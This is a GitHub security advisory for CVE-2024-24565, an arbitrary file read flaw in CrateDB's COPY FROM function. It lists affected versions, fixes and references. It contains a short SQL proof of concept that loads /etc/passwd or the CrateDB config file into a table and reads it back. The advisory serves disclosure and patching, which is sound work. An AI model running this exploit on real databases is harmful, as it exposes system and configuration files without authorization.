GitHub Advisoryadvisory · Maven
GHSA-475g-vj6c-xf96 CrateDB database has an arbitrary file read vulnerability
MEDIUM
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- Aliases
- CVE-2024-24565
- Ecosystem
- Maven
- Packages
- io.crate:crate
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N
- Weaknesses
- CWE-22
- Reviewed
- 2024-01-30
Affected packages
• Maven io.crate:crate: < 5.3.9 → fixed in 5.3.9
• Maven io.crate:crate: >= 5.4.0, < 5.4.8 → fixed in 5.4.8
• Maven io.crate:crate: >= 5.5.0, < 5.5.4 → fixed in 5.5.4
• Maven io.crate:crate: >= 5.6.0, < 5.6.1 → fixed in 5.6.1
Description
Summary
There is an arbitrary file read vulnerability in the CrateDB database, and authenticated CrateDB database users can read any file on the system.
Details
There is a COPY FROM function in the CrateDB database that is used to import file data into database tables. This function has a flaw, and authenticated attackers can use the COPY FROM function to import arbitrary file content into database tables, resulting in information leakage.
PoC
```
CREATE TABLE info_leak(info_leak STRING);
COPY info_leak FROM '/etc/passwd' with (format='csv', header=false); or COPY info_leak FROM '/crate/config/crate.yml' with (format='csv', header=false);
SELECT * FROM info_leak;
```
Impact
This vulnerability affects all current versions of the CrateDB database. Attackers who exploit this vulnerability to obtain sensitive information may carry out further attacks, while also affecting CrateDB Cloud Clusters.
Related
Alias · CVE (1)
- CVE-2024-24565 CrateDB is a distributed SQL database that makes it simple to store and analyze massive amounts of data in real-time. vulnerability
Weakness · CWE (1)
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness
References
- https://github.com/crate/crate/security/advisories/GHSA-475g-vj6c-xf96 web
- https://nvd.nist.gov/vuln/detail/CVE-2024-24565 advisory
- https://github.com/crate/crate/commit/32d0fc2ebb834ea324eb7ab5d01320a67bc5c3c7 web
- https://github.com/crate/crate/commit/4e857d675683095945dd524d6ba03e692c70ecd6 web
- https://github.com/crate/crate/commit/b75aeeabf90f51bd96ddb499903928fd10185207 web
- https://github.com/crate/crate/commit/c4c97d5a1c52cc2250ea42d062a3d37550c19dd5 web
- https://github.com/crate/crate/commit/c5034323f1b56ca5d04b8ef4c6029eb63a5ba172 web
- https://github.com/crate/crate package